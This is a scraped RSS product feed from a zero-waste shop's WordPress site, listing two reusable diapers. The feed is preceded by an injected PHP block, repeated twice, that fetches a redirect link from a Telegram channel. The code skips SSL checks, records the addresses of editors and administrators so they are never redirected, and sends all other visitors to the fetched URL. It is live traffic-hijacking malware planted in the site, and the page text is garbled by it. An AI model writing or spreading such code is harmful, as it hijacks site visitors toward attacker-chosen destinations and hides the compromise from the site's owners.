add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } Nappies Archives - Zero Waste Maldives https://zerowastemaldives.com/product-category/nappies/ Sustainable Low Impact Living Thu, 27 Mar 2025 19:13:34 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.5 160994990 Miosolo Classic all-in-one Diaper https://zerowastemaldives.com/store/nappies/miosolo-classic-all-in-one-diaper/ https://zerowastemaldives.com/store/nappies/miosolo-classic-all-in-one-diaper/#respond Wed, 14 Aug 2024 09:21:00 +0000 https://zerowastemaldives.com/?post_type=product&p=5823
  • The award-winning miosolo classic is a simple and stylish all-in-one reusable diaper. It's onesize which means it will grow with your little one from baby to toddler. Pop it on just like any other diaper for easy, no-fuss diaper changes.
  • All-in-one design. Made from one piece with everything attached and no extra parts for ultimate convenience.
  • Onesize. Fits from baby to toddler. Adjust the size of the diaper using the fastenings to suit the shape of your baby.
  • High-performance. Leak-proof protection with super absorbent core.
  • Smart. Elasticated, leak-proof legs and waist provide ultimate security.
  • Created for dryness. Stay-dry layer keeps wetness away from your baby's skin.
  • No toxic chemicals or nasty materials. We only do kind and gentle. Our diapers are OEKO-TEX® Standard 100 certified.
  • Customizable. Features an inside pocket to add extra inserts to maximize absorbency when you need it, perfect for heavy wetters and for use over longer periods.
  • The post Miosolo Classic all-in-one Diaper appeared first on Zero Waste Maldives.

    ]]>
  • The award-winning miosolo classic is a simple and stylish all-in-one reusable diaper. It’s onesize which means it will grow with your little one from baby to toddler. Pop it on just like any other diaper for easy, no-fuss diaper changes.
  • All-in-one design. Made from one piece with everything attached and no extra parts for ultimate convenience.
  • Onesize. Fits from baby to toddler. Adjust the size of the diaper using the fastenings to suit the shape of your baby.
  • High-performance. Leak-proof protection with super absorbent core.
  • Smart. Elasticated, leak-proof legs and waist provide ultimate security.
  • Created for dryness. Stay-dry layer keeps wetness away from your baby’s skin.
  • No toxic chemicals or nasty materials. We only do kind and gentle. Our diapers are OEKO-TEX® Standard 100 certified.
  • Customizable. Features an inside pocket to add extra inserts to maximize absorbency when you need it, perfect for heavy wetters and for use over longer periods.
  • The post Miosolo Classic all-in-one Diaper appeared first on Zero Waste Maldives.

    ]]>
    https://zerowastemaldives.com/store/nappies/miosolo-classic-all-in-one-diaper/feed/ 0 5823
    Revolutionary Reusable Diaper https://zerowastemaldives.com/store/nappies/revolutionary-reusable-diaper/ https://zerowastemaldives.com/store/nappies/revolutionary-reusable-diaper/#respond Mon, 12 Aug 2024 16:19:12 +0000 https://zerowastemaldives.com/?post_type=product&p=5741
  • Eco-conscious choice. These diapers work in exactly the same way as a disposable nappy, except once used, you wash it in your machine rather than throwing it away.
  • One size fits all. Thanks to the adjustable poppers and front tabs, these diapers will grow with your baby from birth to potty. It's the only true birth to potty diaper and the most innovative diaper yet.
  • Strong against leaks. They feature double elasticated legs and include an inner pocket that stops pee and poo escapes.
  • Customizable absorbency. Each diaper comes complete with one absorbent daily booster that you insert into the pocket of the diaper to keep your baby dry. Depending on your baby's needs you can combine and layer additional boosters from our range of Mini, Daily and Flexi.
  • Suitable from birth. Designed with newborns in mind, our Revolutionary Reusable diaper is super-soft and has a uniquely shaped waist to comfortably fit around the umbilical stump.
  • No toxic chemicals or nasty materials. We only do kind and gentle. Our diapers are OEKO-TEX® Standard 100 certified.
  • The post Revolutionary Reusable Diaper appeared first on Zero Waste Maldives.

    ]]>
  • Eco-conscious choice. These diapers work in exactly the same way as a disposable nappy, except once used, you wash it in your machine rather than throwing it away.
  • One size fits all. Thanks to the adjustable poppers and front tabs, these diapers will grow with your baby from birth to potty. It’s the only true birth to potty diaper and the most innovative diaper yet.
  • Strong against leaks. They feature double elasticated legs and include an inner pocket that stops pee and poo escapes.
  • Customizable absorbency. Each diaper comes complete with one absorbent daily booster that you insert into the pocket of the diaper to keep your baby dry. Depending on your baby’s needs you can combine and layer additional boosters from our range of Mini, Daily and Flexi.
  • Suitable from birth. Designed with newborns in mind, our Revolutionary Reusable diaper is super-soft and has a uniquely shaped waist to comfortably fit around the umbilical stump.
  • No toxic chemicals or nasty materials. We only do kind and gentle. Our diapers are OEKO-TEX® Standard 100 certified.
  • The post Revolutionary Reusable Diaper appeared first on Zero Waste Maldives.

    ]]>
    https://zerowastemaldives.com/store/nappies/revolutionary-reusable-diaper/feed/ 0 5741